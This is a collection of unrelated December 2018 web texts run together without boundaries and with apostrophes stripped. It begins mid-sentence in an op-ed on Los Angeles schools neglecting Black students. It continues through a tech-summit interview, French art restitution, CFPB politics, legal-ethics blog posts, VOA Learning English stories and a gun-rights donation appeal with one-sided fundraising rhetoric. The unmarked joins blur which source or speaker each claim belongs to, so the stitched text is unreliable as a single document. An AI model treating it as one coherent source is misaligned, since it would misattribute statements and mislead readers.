short-lived. ADVERTISEMENT Black leadership, within and outside of LAUSD, is crucial, but it too is virtually silent on schools failing to educate African American students. Neither school board members nor Black elected officials have consistently demanded that these students receive proper education. Even the late Marguerite LaMotte, who loved her babies and represented a substantial portion of the districts dwindling Black student population, was not able to provide consistent, effective leadership on behalf of Black students. Nor was a Black Superintendent, former admiral David Brewer, who also appeared not to have a clue about how to manage the complexities of the massive LAUSD. And Brewers responsibilities, in effect, were substantially reduced; Ramon Cortines headed school operations, which many felt reduced Brewer to a figurehead. In addition, the admirals performance lacked a sorely needed emphasis on the districts lowest achieversBlack students. LAUSDs large number of charter schools is another indicator of its lack of effectiveness in dealing with its lowest achievers, especially. The proliferation of charter schools aggravates problems for the schools left behind: There is no comprehensive policy for improving regular schools, many, If not most, are the greatest challenge but generally receive the least attention and fewest resources. Pressing issues in these schools range from unsafe facilities and recruiting effective teachers to inequitable funding and of course, chronic low achievement. Still, they continue to be a low priority. In addition, whatever benefits accrue to charter schools are not routinely shared with traditional schools, particularly those attended by most Black students. Even if charter schools are more successful in improving academic achievement, and to date, research does not confirm this, non-charters do not benefit and they actually tend to get worse because too often, effective teachers and concerned parents are siphoned off from regular schools. The Los Angeles Urban Leagues Neighborhoods Work Initiative was an ambitious, well-funded effort to improve conditions in South Central Los Angeles and it included Crenshaw High School. An array of innovators and innovations including The Bradley Foundation, the Urban League itself and the University of Southern California (USC) attempted to improve the quality of education for Crenshaw students. Their efforts would have been greatly enhanced had there been a mandate to focus exclusively on the specific needs of Black students rather than the political imperative, to deal with Black Students and All Others, that reduced the focus and resources necessary to address Black Students unique issues. (Then Mayor Antonio Villaraigosa said that he supported such a focus; whether his Partnership actually did not evident). The Community Call to Action and Accountability (CCAA), a South Central L A community group, recommended that the Partnership appoint a Black student coordinator to monitor Black students progress whose responsibilities would be similar to those of the English Language coordinator, that would have helped, but never happened. LAUSD has always neglected Black students, as has urban school districts throughout America. Frankly, they codify negligence in policy and practice. Actually crafting strategies and programs to improve Black students performance requires new thinking and new commitment that addresses their unique needs. Developing Black students full potential means having high expectations for them and constantly working to remove the systemic barriers to their success. Like all other students, they are endowed with unimagined potential. However, Black students success means that parents, teachers and administrators, especially, must summon new courage to take unaccustomed risks and break the silence which contributes to the miseducation of the very students they so prize and want to succeed. ADVERTISEMENT [email protected] The Africa Future Tech Summit looking at 20 summits in 2019! Heads up Los Angelesthe future of tech is in Africa with innovation coming from Africa. This isnt wishful thinking. Its based on facts that were shared at the first annual Africa Future Tech Summit which took place in New York, last week. The summit was a deep dive into Africas growing influence in tech and it was organized to maximize vital information about tech developments and trends across the African continent. The one-day summit featured workshops and keynotes that taught the basics of startup development, investment, and ecosystem building. The summit concluded with an evening VIP networking session and private meetings with speakers, experts, and investors. Co-founded by award-winning Haitian-American entrepreneur Christine Ntim who recently hosted the Haiti Tech Summit along with her husband, Ghanian-British entrepreneur Einstein Kofi Ntim. Ntim is a mother of two and an award-winning Haitian-American entrepreneur & startup ecosystem expert for emerging markets. She is the founder of Vendedy, Partner at Global Startup Ecosystem Accelerators and co-founder of Africa Future Summit a Meventum Network event which she runs with her husband, Ghanaian British, Einstein Kofi Ntim. She was selected and featured in Forbes 30 Under 30, AdAge 40 Under 40, Haiti Changemakers 1804 List, Singularity NASA, Entrepreneur Magazine, Huffington Post, Inc Magazine and more. She speaks on digital entrepreneurship, startup hacking, exponential tech AI, and personal branding at over 20+ global conferences a year- which includes former appearances at the U.S. State Department Tours, United Nations, TEDx, SXSW, Startup Grind Global, SeedStars World, European Union Forum and more. ADVERTISEMENT Here is what Ntim had to share about tech, Africa, African Americans and ruling the world! Los Angeles Sentinel: Why is it important to address technology in Africa? Christine Ntim: The narrative around Africa has been completely skewed because technology started on the continent. If were being very clear. If thats where humanity started any type of innovation started on the continent [Africa] and yet all futuristic conversation about AI, Blockchain [technologies ] or any type of futuristic technology is talked about outside of the continent. So clearly there is a bias around what the real reality is. If there is any leap for humanity it has to start with Africa. I go back to the movie Black Panther I think thats the first time that someone has an actual conversation about what technology and innovation and the future looks like in the Mother Land. One of the reasons we team up with so many media partners is to help reframe the narrative. Its not just to get the story out but to reshape that narrative around Africa, and the continent. Not in a sob story way. People are always representing us in a sad way, [we are not coming] from a pity perspective but from a reality perspective. LAS: Do you think African American kids are ready for the tech revolution? What do youa parentwant other parents to understand? CN: No, I do not. If our kids are not building the tech of the future then they will not be able to dictate our futures. I coded my first website in 2016 while I was pregnant with my firstborn. I launched a digital accelerator site now 1000 entrepreneurs across 90 countries do our online digital accelerator program each year via www.globalstartupecosystem.com. I coded 20 more sites in 2017 to launch the event series of tech summits bringing tech communities together. Now we are the largest tech network for emerging markets on the planet: Africa Tech Summit | Ghana Tech Summit | Haiti Tech Summit Ai Tech Summit | Blockchain Tech Summit | Space Tech Summit | VR Tech Summit. Our daughters are very tech savvy and we hope they stay that way. ADVERTISEMENT Technology is the heart of humanitys progress. Its imperative that people get the narrative straight- the future is Africa because it always has been. Ponder this, if humanity was born on the African continent, then the future of humanity needs to be solidified on the African continent. One of the reasons that the film Black Panther was so successful was because it gave us a visual representation of Africas tech future. Let me be clear, whoever runs the tech, runs the future. LAS: Whats next for 2019 which is the 400 year anniversary of the slave trade? CN: In 2019 the Africa Future Summit event will produce 20 summits around the world and half of which will be across the continent. Launching the series around the tech innovation conversation across the continent and showcasing the beauty of Africas tech future while touring around the world to share it. LAS: Is Los Angeles part of the 2019 plans? CN: Oh my goodness, I hope so. I do. I want the Africa Future Summit to come to Los Angeles, that would be a dream. LAS: Perhaps I can help you with that part of the dream for the Africa Future Summit ? CN: Lapacazo, that would be amazing. Remember, whoever runs the tech, runs the future. www.africatechsummit.org. Time for France to Give Back African Art African artworks held in French museums richly carved thrones, doors to a royal kingdom, wooden statues imbued with spiritual meaning may be heading back home to Africa at last. French President Emmanuel Macron, trying to turn the page on Frances colonial past, received a report Friday on returning art looted from African lands. From Senegal to Ethiopia, artists, governments and museums eagerly awaited the report by French art historian Benedicte Savoy and Senegalese economist Felwine Sarr, and commissioned by Macron himself. ADVERTISEMENT It recommends that French museums give back works that were taken without consent, if African countries request them and could increase pressure on museums elsewhere in Europe to follow suit. The experts estimate that up to 90 percent of African art is outside the continent, including statues, thrones and manuscripts. Thousands of works are held by just one museum, the Quai Branly Museum in Paris, opened in 2006 to showcase non-European art much of it from former French colonies. The museum wouldnt immediately comment on the report. Among disputed treasures in the Quai Branly are several works from the Dahomey kingdom, in todays West African country of Benin: the metal-and-wood throne of 19th-century King Ghezo, the doors to the palace of Kign Gele, and imposing wooden statues. The head of Ethiopias Authority for Research and Conservation of Cultural Heritage, Yonas Desta, said the report shows a new era of thought in Europes relations with Africa. Senegals culture minister, Abdou Latif Coulibaly, told The Associated Press: Its entirely logical that Africans should get back their artworks . These works were taken in conditions that were perhaps legitimate at the time, but illegitimate today. The report is just a first step. Challenges ahead include enforcing the reports recommendations, especially if museums resist, and determining how objects were obtained and whom to give them to. Will a New Consumer Bureau Director Heed the Agencys Mission? In her first news conference as a Senate-confirmed Director of the Consumer Financial Protection Bureau (CFPB), Kathleen Kraningers remarks sounded a lot like Mick Mulvaney, her former boss at the Office of Budget and Management (OMB). On December 11, just one day into a five-year term of office, Kraninger told reporters she would continue the business-friendly work begun by Mulvaney. Days earlier on December 6, Kraninger was confirmed to the position by a 50-49 party line vote. However, a broad and diverse coalition comprised of national and state organizations have pledged to valiantly stand up for consumers and their financial rights. ADVERTISEMENT Labor advocates like the AFL-CIO and the Service Employees International Union (SEIU), as well as civil rights stalwarts NAACP, Unidos US (formerly the National Council of LaRaza) and the Leadership Conference on Civil and Human Rights, and consumer advocates like Americans for Financial Reform and Center for Responsible Lending are all among the advocates lending their names and influence on the effort. She wont answer questions. She wont release documents. She let industry attend her swearing in but not the public. Now shes forcing important members of the media out of the room during her first press availability as CFPB director. What is Kathy Kraninger hiding, asked Karl Frisch, executive director of Allied Progress. This is not how a CFPB director committed to transparency and accountability operates. We deserve better, added Frisch. Kraninger arrives to CFPBs top job with no experience protecting consumers nor in financial regulation. Neither does she bring experience in directing a large government agency. While at OMB, she was considered a mid-level appointee. Earlier and in a series of replies to questions from the Senate Committee on Banking, Housing and Urban Affairs, one of the questions posed was, Can you identify any actions he [Mulvaney] has taken that you disagree with and explain why you disagree? Kraningers response was, I cannot identify any actions that acting director Mulvaney has taken with which I disagree. Under Mulvaneys leadership, the CFPB was transformed from a vigilant consumer advocate into a servant to corporations. Just a few of the anti-consumer actions taken by Mulvaney include a lack of enforcement of the nations fair lending laws, rollbacks of consumer protections, and suppression of the CFPBs Student Loan Ombudsman report that found how high fees were charged to college students by major banks. ADVERTISEMENT Most importantly, even in the handful of cases brought under Mulvaney, financial actors who defrauded and abused consumers, next to nothing was paid in restitution monies that could help make consumers whole financially. Instead of enforcement, many consumer activists would view that lack of action as simply a business-friendly pass. For the nations consumers, however, financial fairness rules that eliminate debt traps including payday loans, as well as restitution from lawsuits that earlier returned nearly $12 billion to those who had been financially harmed could seem like CFPBs history but not its current focus. What happens over the next five years will test the mettle of those who fought to create an agency given the mission to protect consumer finances against profiteers who argue that baseline protections for consumers are an unnecessary burden to business. [Donald] Trump and his appointees have done everything in their power to undermine the Consumer Bureau. Mick Mulvaney, who Trump installed to serve as Acting Director of the agency, dropped lawsuits and investigations into abusive payday lenders, took away the Office of Fair Lending and Equal Opportunitys enforcement powers, fired the members of the agencys Consumer Advisory Board, scaled back enforcement actions against bad actors, sought to slash the agencys budget, and apparently made it his mission to help out bad actors, said Congresswoman Maxine Waters. This long-time California Representative is expected to chair the House Financial Services Committee in the new Congress. In the current Congress, she serves as the Committees Ranking Member. Some consumer advocates prefer to give Kraninger the benefit of the doubt, hoping that the new Bureau Director will do the right thing. If Kraninger plans on taking her public duty seriously, she should commit to implementing the Payday Rule as written and put the CFPB back on the track of protecting consumers from financial misconduct, said Yana Miles, Senior Legislative Counsel with the Center for Responsible Lending. Kraninger has a clear choice to make, noted Jose Alcoff, Payday Campaign Manager at Americans for Financial Reform, she can faithfully uphold the mission of the consumer bureau to protect families from the financial industrys worst abuses or she can continue Mulvaneys playbook of catering to predatory lenders at the expense of the 99 percent. Wednesday, December 19, 2018 The participation of lay jurors in criminal courts has known much ebb and flow both in France and in Belgium. These two countries belong to the civil law tradition, where juries are the exception rather than the rule in criminal trials, and they only exist in criminal cases, not civil cases. In spite of some similarities, there are substantial differences between the two countries, and their systems will be examined in turn. In France, the Cour dassises itself was inherited from the French Revolution. Since a law of 1941, it is a mixed jury system, meaning that lay citizens sit together with professional judges, The Cour adjudicates severe crimes only, mostly rapes and murders. A pilot program extended lay participation to criminal courts beyond the Cour dassises, but was stopped and resulted in the reduction of the number of lay citizens on the Cour dassises. In Belgium, the institution of the criminal jury in the Cour dassises is enshrined in the Belgian Constitution. Up until 2016, it functioned as a true jury, in the sense that only lay citizens sat on the jury, without the participation of professional judges. A 2016 reform allowed for the reclassification of crimes into lesser offenses within the competence of the criminal courts, with very few exceptions. Additionally, from February 2016 on, judges deliberate with lay citizens on the guilt of the accused.The paper will explain the reasons for these changes and evolution of the participation of lay citizens in the criminal jury in France and Belgium, and include a few remarks about the future for lay participation in these two countries, since there are several current proposals on the table, both in France and in Belgium. https://lawprofessors.typepad.com/crimprof_blog/2018/12/germain-on-criminal-juries-in-france-and-belgium.html Thursday, December 20, 2018 A busy day for an ethics blogger. The Florida Supreme Court has a dim view of employee merchandise theft This case is before us on the review of a referees report recommending that Respondent, Jacqueline Marie Kinsella, be found guilty of various violations of the Rules of Professional Conduct arising from her theft of money from Kohls Department Store, where she worked as an employee. After finding numerous mitigating factors, the referee recommended that Kinsella be suspended from the practice of law for ten days. Neither party contested the findings of guilt, but The Florida Bar sought review of the ten-day suspension, arguing in favor of a rehabilitative suspension of ninety-one days. After reviewing the referees report, we suspended Kinsella immediately and issued an order to show cause why she should not receive a more severe sanction up to and including disbarment. Having considered the record, the responses to the order to show cause, and our prior case law, we conclude that a more severe sanction than a ninety-one day suspension is required and hereby suspend Kinsella from the practice of law for three years. The misconduct Kinsella was admitted to The Florida Bar in February 2016. On three separate occasions between April 21, 2016, and May 6, 2016, Kinsella stole money from three different cash registers at the Kohls Department Store where she worked. She stole $140 on April 21, 2016, $100 on April 25, 2016, and $520 on May 6, 2016. She was cooperative after her arrest The referee found that Kinsella fully cooperated with law enforcement and the Bar, her misconduct was not related to alcohol or drug abuse or a gambling addiction, and none of the stolen funds were related to the practice of law. Kinsella testified during a sworn statement and at the sanction hearing that she voluntarily entered into a treatment contract with Florida Lawyers Assistance, Inc. (FLA) and has made progress in addressing the issues that led her to engage in these acts of misconduct. She reported that her treatment involves debt management and financial counseling. Kinsella admitted that she took the funds from Kohls because she had unresolved debt. The referee found that Kinsellas financial problems existed at the time she applied for membership to The Florida Bar and continue to persist today. Lastly, the referee found that Kinsella demonstrated significant remorse during her testimony at the sanction hearing. The court concluded that its precedents call for a lengthy suspension but not disbarment While her misconduct was inexcusable, Kinsellas theft did not involve client funds and was unrelated to the practice of law. Moreover, Kinsella cooperated with authorities in the aftermath of her crime. There were dissents over the sanction. Chief Justice Canady I agree with Justice Lewis that Kinsellas misconduct requires disbarment. There is no reason to believe that a lawyer who has betrayed her employer by stealing from the employer will not betray her clients by stealing from them. There should be no place for thieves in The Florida Bar. Justice Pariente I begin with the acknowledgment that the conduct of Ms. Kinsella, freshly out of law school and having passed the Florida Bar Exam, cannot be excused when she stole $140, $100, and $520 from Kohls Department store where she was working over a two-week period. But, as Kinsella does not attempt to justify her actions, has shown extreme remorse, and never contested the charges filed by The Florida Bar, the only question in this case is the appropriate sanction: Should Kinsella be given a ten-day suspension, as recommended by the referee who observed Ms. Kinsella, a ninety-one day suspension as requested by The Florida Bar, a three-year suspension as held by the majority of this Court, or disbarred as urged by the dissent? ...Kinsella was punished in a criminal court of law and has paid her debt to society. Both the State Attorney and the referee concluded that Kinsellas misconduct did not warrant a severe sanction. Even the Bar has not advocated for a suspension greater than ninety-one days in this case. In light of all of these findings, it is clear that the Courts imposition of a three-year suspension is unnecessary and overly harsh. And, certainly, the findings do not justify the dissents view that disbarment is warranted. Thus, I would follow the Bars recommendation and impose a suspension ranging anywhere from ninety-one days to one year. Justice Lewis Again, the fact that Kinsellas theft from her employer was not related to the practice of law is irrelevant. In my view, Justice Parientes attempt to draw distinctions between where criminal conduct occurs and different levels of criminal sophistication is fanciful at best. An individual physically removing money from a cash register and an individual conducting an electronic credit card scam are both thieves. Further, the notion that Kinsellas conduct is not comparable to other cases involving misuse of client or law firm funds is severely misguided. Attempts to distinguish thefts related or unrelated to the practice of law ignore the common denominator at issuetheft. A thief is a thief. Kinsellas conduct was dishonest and unlawful and hollow explanations pointing to an individuals circumstances cannot diminish the fact that such a deceitful act occurred on three separate occasions. Let it be clear, debt can be no excuse for such egregious conductmany recent law school graduates have unresolved debt. Negative public sentiment toward the legal profession would surely increase if those who make the perilous mistake of engaging in this type of behavior are not rightly punished. An individual cannot be both a lawyer and a thief. This Court has a responsibility to protect the publics trust and confidence in the legal profession. Those who are guilty of theft tarnish all of us. To impose anything other than disbarment is a disservice to Floridas court system and democracy. Kinsellas three-year suspension undermines professionalism and creates fertile ground for public distrust. Kinsella should be disbarred. For these reasons, I dissent I actually prosecuted a similar case to a similar result, a one-year suspension with fitness. Respondent was admitted to our Bar in June 1991 and the Maryland Bar in 1992, but has never actually practiced law. In 1995, respondent was employed for the summer as a night bus driver in Ocean City, Maryland. On August 10, an undercover police detective and another person boarded the bus respondent was driving. Each paid with a marked bill, and respondent placed both fares in a bag next to his seat. (He presumably should have placed them in the ticket money box.) The detective and his companion then observed respondent do the same with other fares as passengers boarded. The detective eventually exited the bus to meet a patrol car, but his companion remained on board and saw respondent remove several dollars from the ticket money box and place them in his pocket. The case has a interesting history. In D.C., conviction of a crime involving moral turpitude requires disbarment. Stealing from one's employer usually suffices to make out a case for such a finding. The hearing committee bought his claim to it being a one time crime. I argued that his plea established that he had done the deed multiple times (the transcript so stated). Notably, his consistent shortages were why a cop was surveilling him in the first place.. Nonetheless, the court deferred to the "one time" finding and avoided disbarring him. So far as I am aware, he was never reinstated. Another notable example of D.C. avoiding imposing disbarment for theft can be found here. The case involves customer theft (and a fairly sophisticated one) on multiple occasions. The case is distinguishable from the Florida case because the victim was Target, not Kohl's. And the convicted attorney was not fresh out of law school per Wikipedia. (Mike Frisch) https://lawprofessors.typepad.com/legal_profession/2018/12/a-busy-day-for-an-ethics-blogger-the-florida-supreme-court-this-case-is-before-us-on-the-review-of-a-referees-report-re.html Wednesday, December 19, 2018 Longtime Maine Bar Counsel Scott Davis is retiring The Board of Overseers of the Bar invites applications for the position of Bar Counsel to oversee the State of Maines attorney discipline system. As chief prosecutor, Bar Counsel maintains an active caseload while supervising a team of lawyers and support staff to ensure the timely and effective investigation, processing, and disposition of cases. Serving as the Boards principal spokesperson to members of the bar, Bar Counsel provides advisory ethical guidance and speaks at continuing legal education events on the subject of professional regulation. Bar Counsel serves at the pleasure of the Board and reports to the Executive Director and to the members of the Board. Applicants must have a passion for public service and demonstrate superior leadership, interpersonal, verbal, writing, presentation, and organizational skills to effectively investigate grievances, conduct legal research, prepare motions and briefs, interview witnesses, draft and file formal complaints, prosecute cases before hearing panels, and argue cases before the Maine Supreme Judicial Court. The position requires extensive in-state and out-of-state travel representing the Board at local, state, and national meetings. Required qualifications include strong computer skills, knowledge of emerging technologies impacting the practice of law, the ability to work with a high degree of confidentiality under pressure and within tight deadlines, and the ability to exercise prosecutorial discretion and independent judgment in a thoughtful manner. A thorough understanding of the Maine Bar Rules, the Maine Rules of Professional Conduct, and the procedures governing disciplinary proceedings is essential. Applicants must be Maine residents, have a Juris Doctor degree from an accredited law school, and either be an active member in good standing of the Maine bar or be eligible for admission. Ten years of experience in the practice of law is preferred. The starting salary will be commensurate with experience. The Board offers an excellent benefits package. This is not a Judicial Branch or state agency position. The anticipated start date for employment is March 1, 2019. If you are interested in applying for this position, please submit a cover letter, resume, and salary requirements to: Executive Director Jacqueline Rogers at jrogers@mebaroverseers.org. The deadline for applications is the close of business on January 18, 2019. Scott has been around so long that we - along with Idaho Judge Mike Oths - did NOBC Current Developments together for many years. (Mike Frisch) https://lawprofessors.typepad.com/legal_profession/2018/12/and-so-does-maine.html People in Japan pay good money to eat the deadly pufferfish. There, the food is called fugu. The fish can cost more than $100 a kilogram. Eating fugu is especially popular now, during the winter holiday season. But in the last few years, the fugu market has seen a change. The part of the ocean where pufferfish live is warming quickly. In answer, pufferfish are traveling north to find cooler water. Along the way, new kinds of poisonous fish are being created. These pufferfish hybrids worry government officials. They are afraid people will accidentally eat them and die. The Japanese government has ordered fishermen and fish traders to throw away any hybrids that they catch. Some industry workers strongly object to the order. They note that hybrids have poison in the same areas as regular pufferfish. Trained cooks and fish butchers know how to remove the areas that contain the poison. Usually the poison is in the fishs liver and reproductive organs, or sometimes the skin or muscle. Naoto Itou leads a seafood-processing company in the city of Shimonoseki. He disagrees with the governments rule to throw away pufferfish hybrids. But we have to follow the rules, he says, because if theres any problems it leads to hysteria. The Japanese take pufferfish danger seriously. A supermarket in western Japan once accidentally sold some pufferfish that had not had their poisonous livers removed. The town used its missile alert system to warn residents. The danger linked to the fish may be one reason for its popularity. One man who fishes for pleasure said, Some people like it when they feel a bit of tingling on their lips. A high-end fish seller adds that the fish tastes good. But the seller, Koichi Kushida, notes that pufferfish hybrids are a concern. As more hybrids appear in the market, Kushida checks all the fish himself. When we hand it to our customers, we have to be sure its absolutely safe, he says. We cant have any problems. But in truth, even experienced fish handlers and scientists cannot always identify the hybrids. The one certainty is that the hybrid population is increasing. And this rise of mixed pufferfish is another example of the effects climate change is having on sea creatures. Im Kelly Jean Kelly. The Reuters News Service reported this story. Kelly Jean Kelly adapted it for Learning English. Ashley Thompson was the editor. ____________________________________________________________ Words in This Story hybrid - n. an animal or plant that is produced from two animals or plants of different kinds butcher - n. someone who cuts and sells meat in a shop hysteria - n. a situation in which many people behave or react in an extreme or uncontrolled way because of fear, anger, etc. tingling - n. a feeling like the feeling of many small sharp points pressing into your skin customer - n. someone who buys goods or services from a business 12500 N.E. Tenth Place Bellevue, WA 98005 JPFO.org 800-869-1884 info@jpfo.org As 2018 draws to a close, are you like many Americans looking around for tax-deductible donations to ease your tax burdenwhy not consider JPFO? No one speaks out for your freedom like we do. JPFO speaks truth to power with the moral authority of persecuted victims. Because of our history, we're not afraid to do so, and no pulling punches. That's why founder Aaron Zelman (1946 2010) set this course. We have no lobbyists to please, no politicians to upset, we carry the torch. We know the disaster so-called "gun-control" brings. We seek your help in this struggle. Disarming an innocent person is an act of violence. Guns are taken at gunpoint, or the threat of force. Passing laws to justify it is tyrannical. Politicians who call for, or are working to take your guns, even a little, should be removed from office. They are working against the nation. We know it. We'll say it. This is why people support us, like you can, right now. Support us. Declaring legal guns illegal is infringement. Infringement is banned. Help support getting this message out. We reach media people in ways you can't. With interviews, news releases, E-Blasts and personal presence. JPFO's brochures, newsletters, research and position papers set a moral and principled standard the nation needs. JPFO sets the moral compass. Today's world turns on Social Media, and JPFO is there on Facebook, Twitter, YouTube with tens of thousands of contacts and growing monthly, plus e-blasts. Our critically important message needs hundreds of thousands, and millions of eyes and ears. It takes money to escalate exposure beyond the native reach. That's exposure we need to increase and get our message out. Donate to JPFO before year's end. Our representation and the JPFO Roundtable at the 2018 Gun Rights Policy Conference, along with the Bill of Rights Day luncheon and related events are staffed by volunteers. Precious funds from generous donors like you are reserved for the hard necessities. You don't have to be Jewish to join or donate to JPFO, but we're as frugal as the stereotype when it comes to finances. Our volunteers help carry the weight. You can volunteer too! info@jpfo.org, 1-800-869-1884 We have big plans for the futureexpanding rights we have, educating the misinformed, helping defeat socialists on the rise, watching out for bad media and all enemies foreign and domestic. Most of all, our core mission is to destroy so-called "gun control" as any kind of credible policy position. It doesn't control guns and it doesn't control crime. What it does do is make the innocent helpless, exposing them to murder, slaughter and genocide, at the hands of the angry, the sick and the wicked. Never Again! Jews for the Preservation of Firearms Ownership means it. Please support us. https://store.jpfo.org/donations/2-jpfo-donations.html Alan Korwin, Consultant to JPFO Publisher at Bloomfield Press Editor, The JPFO Bill of Rights Sentinel Newsletter Jews for the Preservation of Firearms Ownership 12500 N.E. Tenth Place Bellevue, WA 98005 JPFO.org 800-869-1884 info@jpfo.org Businessman Elon Musk has demonstrated part of a planned high-speed, underground transportation system in California. Musk is best known for founding electric carmaker Tesla and aerospace company SpaceX. But two years ago, he announced on Twitter plans to launch a new company. His tweet said the business, later formed as the Boring Company, would seek to ease traffic in the city where he lives, Los Angeles. Traffic is driving me nuts, Musk wrote. So he promised to build a tunnel-making machine and to just start digging. Musk says the Boring Companys aim is to make a series of tunnels in Los Angeles and other cities. The company is developing equipment to dig faster and make the process more cost effective. Elevators would lower passengers and vehicles into the tunnels. Musk said vehicles could travel at speeds up to 241 kilometers an hour. He wants to use electric, self-driving vehicles to move people around the city. On Tuesday, Musk showed off the first experimental passageway, which stretches 1.8 kilometers through a neighborhood near Los Angeles. An entrance to the 3.6-meter-wide tunnel is on land belonging to the Boring Company and SpaceX. Some reporters and invited guests were permitted to test out the system. They first got inside a specially-equipped Tesla Model S, which drove them from the Boring Company to a station at the other end of the tunnel. Currently, the station is nothing more than a wall-less elevator built near some homes. The elevator lowered the Tesla into the tunnel, about nine meters below the surface. The vehicle then waited for a control light to turn green before beginning its trip. An Associated Press news agency reporter said her trip, from one end of the tunnel to the other, took three minutes. For the test, the car traveled at about 64 kilometers an hour. This was far slower than Musks target of 241 kilometers an hour. The reporter described her ride as a bit bumpy, as the Tesla shook repeatedly during the trip. Musk admitted to some bumpiness. He explained that we kind of ran out of time and said there were equipment problems. The businessman said such problems are common with test models and promised that future systems will run as smooth as glass. The Tesla test car was equipped with special side wheels that were deployed to help keep the vehicle stable during the ride. Musk also took his own test drive and received a warm welcome from people waiting at the other end of the tunnel. He told the crowd he considered his first ride epic. He said he was excited for the first test of the system, which he calls the loop. Musk said a completed system of numerous tunnels could hold up to 4,000 vehicles an hour. He has plans to continue expanding the system in Los Angeles and other cities. In June, Chicago chose the Boring Company to build a 27-kilometer underground system linking the citys downtown to the citys main airport. The company has also proposed an East Coast system to link the city of Washington, D.C. to areas in neighboring Maryland. However, the Boring Company has already faced opposition. Some groups have expressed concerns about how building and operating such a system would affect local communities. The loop system is separate from another transportation project Musk has worked on called Hyperloop. He has said that system would operate with electromagnetic technology and forced air. It intends to use electric vehicles to carry between 8-16 passengers between major cities at speeds up to 1,000 kilometers an hour. Im Bryan Lynn. Bryan Lynn wrote this story for VOA Learning English. His report was based on information from The Boring Company, Associated Press, Reuters and Agence France-Presse. George Grow was the editor. We want to hear from you. Write to us in the Comments section, and visit our Facebook page. _____________________________________________________________ Words in This Story drive me nuts phrase. to annoy, bother or frustrate tunnel n. long passage that runs underground or through a mountain elevator n. machine that carries people up and down, usually inside buildings guest n. visitor; someone who has been invited bumpy adj. not smooth stable adj. firmly established; permanent epic adj. of great importance The number of journalists killed worldwide for their work nearly doubled this year. That information comes from a new report by the Committee to Protect Journalists. The New York-based group reported that 34 journalists were killed because of their work as of December 14, while at least 53 were killed in all. That compares to 18 retaliation killings among the 47 deaths confirmed by the committee in 2017. The new report lists the name of Jamal Khashoggi, who wrote opinion pieces for The Washington Post. Khashoggi was a native of Saudi Arabia, but fiercely critical of its ruling family. He went missing on October 2 during a visit to Saudi Arabias diplomatic offices in Istanbul. Turkish officials claim he was attacked and killed inside the consulate. U.S. Secretary of State Mike Pompeo announced last week that the United States is still investigating the killing. However, the Central Intelligence Agency found that Saudi Crown Prince Mohammed bin Salman was involved in Khashoggis murder. U.S. President Donald Trump has condemned the violence against journalists. Yet the committee noted that he has called some enemies of the people. In addition to retaliation killings, media workers have died in armed conflicts or on dangerous reporting assignments. The deadliest country for journalists in 2018 has been Afghanistan, where 13 journalists were killed, the report said. Some died from suicide bombers whose actions were claimed by the militant group Islamic State. Media rights group Reporters Without Borders noted that the United States made it into the top five deadliest countries for journalists this year for the very first time. Six journalists were killed nationwide. They included four who were among five people killed by a gunman who attacked the offices of Marylands Capitol Gazette newspaper on June 28. The shooting was the deadliest single attack on the media in recent U.S. history. The man had lost a defamation case against the newspaper. Two other journalists died while reporting on extreme weather conditions. In addition, the committee said the imprisonment of journalists has been on the rise. Changes in technologyhave allowed more people to practice journalism, the committee said. It added that the same technology has made journalists less important to criminal groups who once needed the media to spread their message. Time magazine last week recognized jailed and killed journalists as its person of the year. By name, they included Khashoggi and workers at the Maryland newspaper. The other honorees were reporters Wa Lone and Kyaw Soe Oo, jailed in Myanmar, and Maria Ressa, held in the Philippines. Journalists have died this year in Slovakia, where 27-year-old reporter Jan Kuciak was shot while investigating suspected corruption. The committee said that at least four journalists were murdered in Mexico, two in Brazil and two Palestinian journalists were killed by Israeli soldiers during protests in the Gaza Strip. In Syria and Yemen, two countries with violent civil wars, the fewest journalists were killed since 2011. Three were killed in Yemen. In Syria, the committee recorded nine deaths compared to a high of 31 in 2012. Im Susan Shand. The Associated Press reported this story. Susan Shand adapted this story for Learning English. George Grow was the editor. _____________________________________________________________ Words in This Story journalist n. the activity or job of collecting, writing, and producing stories for newspapers, television, or other medium retaliation n. to do something bad to someone who has hurt you or treated you badly; to do something to answer an action assignment n. a duty or job; the act of asking someone to do something defamation n. the act of saying false things in order to make people have a bad opinion of someone or something allow v. to permit; to let practice v. to carry out; to perform Vietnam plans to start using liquefied natural gas, or LNG, by the year 2020. Although Vietnam has said it would be hurt by the effects of climate change, it plans to move forward with plans to import LNG. The decision shows how difficult it is to balance energy costs with efforts to protect the environment. Le Van Luc is with Vietnams Ministry of Industry and Trade. He said that as the economy grows, energy supplies have not kept up with demand. He said that, for many years, his country was an energy exporter. However, in 2015, we became a net energy importer, especially of coal and natural gas, he added. Climate change concerns compete with energy needs Vietnam is home to nearly 100 million people. It was among the nations that sent representatives to the recent climate change talks in Katowice, Poland. The United Nations gathering failed to set targets for the reduction of carbon gases linked to rising temperatures in Earths atmosphere. Southeast Asian countries, such as Indonesia and Thailand, plan to burn more coal to meet their energy needs, yet they fear the effects of climate change. Vietnam is turning to imports of liquefied natural gas partly because policymakers believe there are limits to renewable energy. Luc notes that the country is reaching the upper limit of electricity production from dams. Wind and solar power are more costly than LNG. The United States wants Vietnam to use LNG because U.S. companies could export it. Last week, the U.S. government organized a conference on natural gas. At the event, the U.S. consul general in Ho Chi Minh City, Mary Tarnowka, warned of energy shortages in southern Vietnam. She said that the city has economic growth of 10 percent, but energy is needed to fuel that growth. All of this is creating a growing middle class, and a society and culture that is growing as quickly as their energy demands, she said. Tarnowka added that demand for energy is growing at nearly eight percent this year. Natural gas has traditionally been transported through pipelines. But for longer distances, it can be cooled into a liquid, so that it can be shipped in containers. In this way, LNG could be transported across the Pacific Ocean from U.S. businesses. Once it arrives, Vietnam needs technology to turn LNG back into gas so it can be used as fuel. U.S. companies and government agencies are advising on the necessary infrastructure and equipment. Le Van Luc said, The difficulty and challenge for Vietnam is that we have yet to have any experience in constructing or operating LNG infrastructure. Luc noted that Vietnam is investing in electricity from wind and the sun. But, he said fossil fuels, like natural gas, are still needed. Le Viet Phuy is an environmental economist with Fulbright University Vietnam. He said the country needs a mixture of ways to produce energy. Le said the country will continue to use coal and increase natural gas while other energy also will be used more. But, he noted that renewable energy is costly. We have seen renewables picking up speed recently, but it will be years until we see some significant impact on the system, he said. Im Mario Ritter Jr. Ha Nguyen reported this story for VOANews.com. Mario Ritter Jr. adapted it for Learning English. George Grow was the editor. ________________________________________________________________ Words in This Story net adj. related to the amount or value of something after all costs and charges have been taken away solar adj. of or related to the Sun infrastructure n. the basic equipment and structures that are needed for a country, area or organization to operate challenge n. a difficult task or problem, something that is hard to do construct v. to build 